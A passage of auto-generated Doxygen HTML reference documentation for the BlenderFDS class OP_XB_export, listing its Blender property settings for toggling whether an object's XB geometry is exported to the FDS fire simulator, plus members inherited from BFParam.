<center><span class="legend">[<a href="graph_legend.html">legend</a>]</span></center></div>
<div class="dynheader">
Collaboration diagram for blenderfds28x.lang.OP_XB_export:</div>
<div class="dyncontent">
<div class="center"><img src="classblenderfds28x_1_1lang_1_1_o_p___x_b__export__coll__graph.png" border="0" usemap="#blenderfds28x_8lang_8_o_p___x_b__export_coll__map" alt="Collaboration graph"/></div>
<map name="blenderfds28x_8lang_8_o_p___x_b__export_coll__map" id="blenderfds28x_8lang_8_o_p___x_b__export_coll__map">
<area shape="rect" title="Blender representation to set if XB shall be exported to FDS." alt="" coords="27,80,182,121"/>
<area shape="rect" href="classblenderfds28x_1_1types_1_1_b_f_param.html" title="Blender representation of an FDS parameter." alt="" coords="5,5,204,32"/>
</map>
<center><span class="legend">[<a href="graph_legend.html">legend</a>]</span></center></div>
<table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-static-attribs"></a>
Static Public Attributes</h2></td></tr>
<tr class="memitem:a7c5a5b5a04c95626c3136f5028f96300"><td class="memItemLeft" align="right" valign="top"><a id="a7c5a5b5a04c95626c3136f5028f96300"></a>
string </td><td class="memItemRight" valign="bottom"><b>label</b> = "Export XB"</td></tr>
<tr class="separator:a7c5a5b5a04c95626c3136f5028f96300"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a9a4359c8ee3da35b28e4af14ad6af986"><td class="memItemLeft" align="right" valign="top"><a id="a9a4359c8ee3da35b28e4af14ad6af986"></a>
string </td><td class="memItemRight" valign="bottom"><b>description</b> = "Set if XB shall be <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a737fbb0cc450d97cd6b48a2bf8b4574e">exported</a> to FDS"</td></tr>
<tr class="separator:a9a4359c8ee3da35b28e4af14ad6af986"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ae724957c4df4dd607b18301706321075"><td class="memItemLeft" align="right" valign="top"><a id="ae724957c4df4dd607b18301706321075"></a>
 </td><td class="memItemRight" valign="bottom"><b>bpy_type</b> = Object</td></tr>
<tr class="separator:ae724957c4df4dd607b18301706321075"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a85fb9e84aee0cd53388cdb0a4cbfc313"><td class="memItemLeft" align="right" valign="top"><a id="a85fb9e84aee0cd53388cdb0a4cbfc313"></a>
string </td><td class="memItemRight" valign="bottom"><b>bpy_idname</b> = "bf_xb_export"</td></tr>
<tr class="separator:a85fb9e84aee0cd53388cdb0a4cbfc313"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a219fe9dd771c92574698cd735151de59"><td class="memItemLeft" align="right" valign="top"><a id="a219fe9dd771c92574698cd735151de59"></a>
 </td><td class="memItemRight" valign="bottom"><b>bpy_prop</b> = BoolProperty</td></tr>
<tr class="separator:a219fe9dd771c92574698cd735151de59"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a339d55769346cf9a456ea39c6c4e2934"><td class="memItemLeft" align="right" valign="top"><a id="a339d55769346cf9a456ea39c6c4e2934"></a>
bool </td><td class="memItemRight" valign="bottom"><b>bpy_default</b> = True</td></tr>
<tr class="separator:a339d55769346cf9a456ea39c6c4e2934"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a36406fa75da58b52a26efb07e22e897b"><td class="memItemLeft" align="right" valign="top"><a id="a36406fa75da58b52a26efb07e22e897b"></a>
dictionary </td><td class="memItemRight" valign="bottom"><b>bpy_other</b> = {"update": update_bf_xb}</td></tr>
<tr class="separator:a36406fa75da58b52a26efb07e22e897b"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="inherit_header pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td colspan="2" onclick="javascript:toggleInherit('pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param')"><img src="closed.png" alt="-"/> Static Public Attributes inherited from <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html">blenderfds28x.types.BFParam</a></td></tr>
<tr class="memitem:aa1f6f0ab11c8d498eab38870211859b4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="aa1f6f0ab11c8d498eab38870211859b4"></a>
string </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#aa1f6f0ab11c8d498eab38870211859b4">label</a> = "No Label"</td></tr>
<tr class="memdesc:aa1f6f0ab11c8d498eab38870211859b4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Object label. <br /></td></tr>
<tr class="separator:aa1f6f0ab11c8d498eab38870211859b4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:af15d64c12b1044bd2b9169b608811810 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="af15d64c12b1044bd2b9169b608811810"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#af15d64c12b1044bd2b9169b608811810">description</a> = None</td></tr>
<tr class="memdesc:af15d64c12b1044bd2b9169b608811810 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Object description. <br /></td></tr>
<tr class="separator:af15d64c12b1044bd2b9169b608811810 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ae521391e5cb05ad2ab304190b1e576a0 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="ae521391e5cb05ad2ab304190b1e576a0"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ae521391e5cb05ad2ab304190b1e576a0">enum_id</a> = None</td></tr>
<tr class="memdesc:ae521391e5cb05ad2ab304190b1e576a0 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Unique integer id for EnumProperty. <br /></td></tr>
<tr class="separator:ae521391e5cb05ad2ab304190b1e576a0 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a66beccc7c29293f44c858461302baa62 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="a66beccc7c29293f44c858461302baa62"></a>
dictionary </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a66beccc7c29293f44c858461302baa62">bf_other</a> = {}</td></tr>
<tr class="memdesc:a66beccc7c29293f44c858461302baa62 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Other BlenderFDS parameters, eg: {'draw_type': 'WIRE', ...}. <br /></td></tr>
<tr class="separator:a66beccc7c29293f44c858461302baa62 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a12bc8b4ec835c5a9d721963d7c9b38f7 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="a12bc8b4ec835c5a9d721963d7c9b38f7"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a12bc8b4ec835c5a9d721963d7c9b38f7">bf_params</a> = tuple()</td></tr>
<tr class="memdesc:a12bc8b4ec835c5a9d721963d7c9b38f7 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">My sub params, tuple of classes of type <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html" title="Blender representation of an FDS parameter.">BFParam</a>. <br /></td></tr>
<tr class="separator:a12bc8b4ec835c5a9d721963d7c9b38f7 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a6ef98ac87cd62c320178cfa6e4402627 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a6ef98ac87cd62c320178cfa6e4402627">fds_label</a> = None</td></tr>
<tr class="memdesc:a6ef98ac87cd62c320178cfa6e4402627 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">FDS label, eg. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a6ef98ac87cd62c320178cfa6e4402627">More...</a><br /></td></tr>
<tr class="separator:a6ef98ac87cd62c320178cfa6e4402627 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a5f3d6542fbe27797d910ee8fa8e04ff4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="a5f3d6542fbe27797d910ee8fa8e04ff4"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a5f3d6542fbe27797d910ee8fa8e04ff4">fds_default</a> = None</td></tr>
<tr class="memdesc:a5f3d6542fbe27797d910ee8fa8e04ff4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">FDS default value. <br /></td></tr>
<tr class="separator:a5f3d6542fbe27797d910ee8fa8e04ff4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a3c9e16d71139a4dbe53551ea0526d160 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a3c9e16d71139a4dbe53551ea0526d160">bpy_type</a> = None</td></tr>
<tr class="memdesc:a3c9e16d71139a4dbe53551ea0526d160 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">type in bpy.types for Blender property, eg. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a3c9e16d71139a4dbe53551ea0526d160">More...</a><br /></td></tr>
<tr class="separator:a3c9e16d71139a4dbe53551ea0526d160 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a6fcc37b221e26e4616f9df43532c3ee3 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a6fcc37b221e26e4616f9df43532c3ee3">bpy_idname</a> = None</td></tr>
<tr class="memdesc:a6fcc37b221e26e4616f9df43532c3ee3 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">idname of related bpy.types Blender property, eg. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a6fcc37b221e26e4616f9df43532c3ee3">More...</a><br /></td></tr>
<tr class="separator:a6fcc37b221e26e4616f9df43532c3ee3 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a2a2b2bc95351a7731fb07c1a563595c4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a2a2b2bc95351a7731fb07c1a563595c4">bpy_prop</a> = None</td></tr>
<tr class="memdesc:a2a2b2bc95351a7731fb07c1a563595c4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">prop in bpy.props of Blender property, eg. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a2a2b2bc95351a7731fb07c1a563595c4">More...</a><br /></td></tr>
<tr class="separator:a2a2b2bc95351a7731fb07c1a563595c4 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a18430cc42f28654684550f350dd9a8bf inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="a18430cc42f28654684550f350dd9a8bf"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a18430cc42f28654684550f350dd9a8bf">bpy_default</a> = None</td></tr>
<tr class="memdesc:a18430cc42f28654684550f350dd9a8bf inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Blender property default. <br /></td></tr>
<tr class="separator:a18430cc42f28654684550f350dd9a8bf inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a211719404867f7599db3ba74d3a65722 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">dictionary </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a211719404867f7599db3ba74d3a65722">bpy_other</a> = {}</td></tr>
<tr class="memdesc:a211719404867f7599db3ba74d3a65722 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Other optional Blender property parameters, eg. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a211719404867f7599db3ba74d3a65722">More...</a><br /></td></tr>
<tr class="separator:a211719404867f7599db3ba74d3a65722 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a795d61dfa90d6821e7edb4c2c9d8fa48 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="a795d61dfa90d6821e7edb4c2c9d8fa48"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a795d61dfa90d6821e7edb4c2c9d8fa48">bpy_export</a> = None</td></tr>
<tr class="memdesc:a795d61dfa90d6821e7edb4c2c9d8fa48 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">idname of export toggle Blender property <br /></td></tr>
<tr class="separator:a795d61dfa90d6821e7edb4c2c9d8fa48 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ad8a46f67ce9ff39a5552c92125dbaaa5 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="ad8a46f67ce9ff39a5552c92125dbaaa5"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ad8a46f67ce9ff39a5552c92125dbaaa5">bpy_export_default</a> = None</td></tr>
<tr class="memdesc:ad8a46f67ce9ff39a5552c92125dbaaa5 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">default value for export toggle Blender property <br /></td></tr>
<tr class="separator:ad8a46f67ce9ff39a5552c92125dbaaa5 inherit pub_static_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="inherited"></a>
Additional Inherited Members</h2></td></tr>
<tr class="inherit_header pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td colspan="2" onclick="javascript:toggleInherit('pub_methods_classblenderfds28x_1_1types_1_1_b_f_param')"><img src="closed.png" alt="-"/> Public Member Functions inherited from <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html">blenderfds28x.types.BFParam</a></td></tr>
<tr class="memitem:a8efc7ab9fffcdd0d835ea917b1924be6 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a8efc7ab9fffcdd0d835ea917b1924be6">__init__</a> (self, <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a1499112e560d84365ab6c9e2f1d31c2d">element</a>)</td></tr>
<tr class="memdesc:a8efc7ab9fffcdd0d835ea917b1924be6 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Class constructor. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a8efc7ab9fffcdd0d835ea917b1924be6">More...</a><br /></td></tr>
<tr class="separator:a8efc7ab9fffcdd0d835ea917b1924be6 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ae0c66c5c12a1b4c72bc93f74a84abe20 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="ae0c66c5c12a1b4c72bc93f74a84abe20"></a>
def </td><td class="memItemRight" valign="bottom"><b>__str__</b> (self)</td></tr>
<tr class="separator:ae0c66c5c12a1b4c72bc93f74a84abe20 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ab5852cd70335554f85806fcefef0d771 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ab5852cd70335554f85806fcefef0d771">register</a> (cls)</td></tr>
<tr class="memdesc:ab5852cd70335554f85806fcefef0d771 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Register related Blender properties. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#ab5852cd70335554f85806fcefef0d771">More...</a><br /></td></tr>
<tr class="separator:ab5852cd70335554f85806fcefef0d771 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a0ee61af37cdd1b0bb30b3dce209cda0e inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a0ee61af37cdd1b0bb30b3dce209cda0e">unregister</a> (cls)</td></tr>
<tr class="memdesc:a0ee61af37cdd1b0bb30b3dce209cda0e inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Unregister related Blender properties. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a0ee61af37cdd1b0bb30b3dce209cda0e">More...</a><br /></td></tr>
<tr class="separator:a0ee61af37cdd1b0bb30b3dce209cda0e inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ae9f8b07a71271cb2898d153738ecda23 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ae9f8b07a71271cb2898d153738ecda23">value</a> (self)</td></tr>
<tr class="memdesc:ae9f8b07a71271cb2898d153738ecda23 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Return value from element instance. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#ae9f8b07a71271cb2898d153738ecda23">More...</a><br /></td></tr>
<tr class="separator:ae9f8b07a71271cb2898d153738ecda23 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a51e5ded728a4314395ba4bae92b30ca7 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a51e5ded728a4314395ba4bae92b30ca7">set_value</a> (self, context, <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ae9f8b07a71271cb2898d153738ecda23">value</a>=None)</td></tr>
<tr class="memdesc:a51e5ded728a4314395ba4bae92b30ca7 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Set element instance value. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a51e5ded728a4314395ba4bae92b30ca7">More...</a><br /></td></tr>
<tr class="separator:a51e5ded728a4314395ba4bae92b30ca7 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a737fbb0cc450d97cd6b48a2bf8b4574e inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="a737fbb0cc450d97cd6b48a2bf8b4574e"></a>
def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a737fbb0cc450d97cd6b48a2bf8b4574e">exported</a> (self)</td></tr>
<tr class="memdesc:a737fbb0cc450d97cd6b48a2bf8b4574e inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Return True if self is exported to FDS. <br /></td></tr>
<tr class="separator:a737fbb0cc450d97cd6b48a2bf8b4574e inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:aa82dd597f64a88b0682a6be0c636f38f inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#aa82dd597f64a88b0682a6be0c636f38f">set_exported</a> (self, context, <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ae9f8b07a71271cb2898d153738ecda23">value</a>=None)</td></tr>
<tr class="memdesc:aa82dd597f64a88b0682a6be0c636f38f inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Set if self is exported to FDS. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#aa82dd597f64a88b0682a6be0c636f38f">More...</a><br /></td></tr>
<tr class="separator:aa82dd597f64a88b0682a6be0c636f38f inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a2e8bc8bae595dbae2f7882e3cfb02d72 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a2e8bc8bae595dbae2f7882e3cfb02d72">check</a> (self, context)</td></tr>
<tr class="memdesc:a2e8bc8bae595dbae2f7882e3cfb02d72 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Check self validity for FDS, in case of error raise BFException. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a2e8bc8bae595dbae2f7882e3cfb02d72">More...</a><br /></td></tr>
<tr class="separator:a2e8bc8bae595dbae2f7882e3cfb02d72 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ad70cbf4f9f17fd93a8c53321fae15c24 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ad70cbf4f9f17fd93a8c53321fae15c24">draw_operators</a> (self, context, layout)</td></tr>
<tr class="memdesc:ad70cbf4f9f17fd93a8c53321fae15c24 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Draw my operators on layout. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#ad70cbf4f9f17fd93a8c53321fae15c24">More...</a><br /></td></tr>
<tr class="separator:ad70cbf4f9f17fd93a8c53321fae15c24 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a54c1a5639924d9d6a9e72af39d50a364 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a54c1a5639924d9d6a9e72af39d50a364">draw</a> (self, context, layout)</td></tr>
<tr class="memdesc:a54c1a5639924d9d6a9e72af39d50a364 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Draw my UI on layout. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a54c1a5639924d9d6a9e72af39d50a364">More...</a><br /></td></tr>
<tr class="separator:a54c1a5639924d9d6a9e72af39d50a364 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a82ab718911681a65dffbfc50a446ea9c inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a82ab718911681a65dffbfc50a446ea9c">to_fds_param</a> (self, context)</td></tr>
<tr class="memdesc:a82ab718911681a65dffbfc50a446ea9c inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Return the <a class="el" href="classblenderfds28x_1_1types_1_1_f_d_s_param.html" title="Datastructure representing an FDS parameter.">FDSParam</a> representation of element instance. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#a82ab718911681a65dffbfc50a446ea9c">More...</a><br /></td></tr>
<tr class="separator:a82ab718911681a65dffbfc50a446ea9c inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:aa5840aa7c47163adb3c4f3a575a91abe inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#aa5840aa7c47163adb3c4f3a575a91abe">from_fds</a> (self, context, <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#ae9f8b07a71271cb2898d153738ecda23">value</a>)</td></tr>
<tr class="memdesc:aa5840aa7c47163adb3c4f3a575a91abe inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Set self.value from py value, on error raise BFException. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#aa5840aa7c47163adb3c4f3a575a91abe">More...</a><br /></td></tr>
<tr class="separator:aa5840aa7c47163adb3c4f3a575a91abe inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:adca91de2412fadd1dd630c8c692ee801 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top">def </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#adca91de2412fadd1dd630c8c692ee801">copy_to</a> (self, dest_element)</td></tr>
<tr class="memdesc:adca91de2412fadd1dd630c8c692ee801 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="mdescLeft"> </td><td class="mdescRight">Copy self values to destination element. <a href="classblenderfds28x_1_1types_1_1_b_f_param.html#adca91de2412fadd1dd630c8c692ee801">More...</a><br /></td></tr>
<tr class="separator:adca91de2412fadd1dd630c8c692ee801 inherit pub_methods_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="inherit_header pub_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td colspan="2" onclick="javascript:toggleInherit('pub_attribs_classblenderfds28x_1_1types_1_1_b_f_param')"><img src="closed.png" alt="-"/> Public Attributes inherited from <a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html">blenderfds28x.types.BFParam</a></td></tr>
<tr class="memitem:a1499112e560d84365ab6c9e2f1d31c2d inherit pub_attribs_classblenderfds28x_1_1types_1_1_b_f_param"><td class="memItemLeft" align="right" valign="top"><a id="a1499112e560d84365ab6c9e2f1d31c2d"></a>
 </td><td class="memItemRight" valign="bottom"><a class="el" href="classblenderfds28x_1_1types_1_1_b_f_param.html#a1499112e560d84365ab6c9e2f1d31c2d">element</a></td></tr>
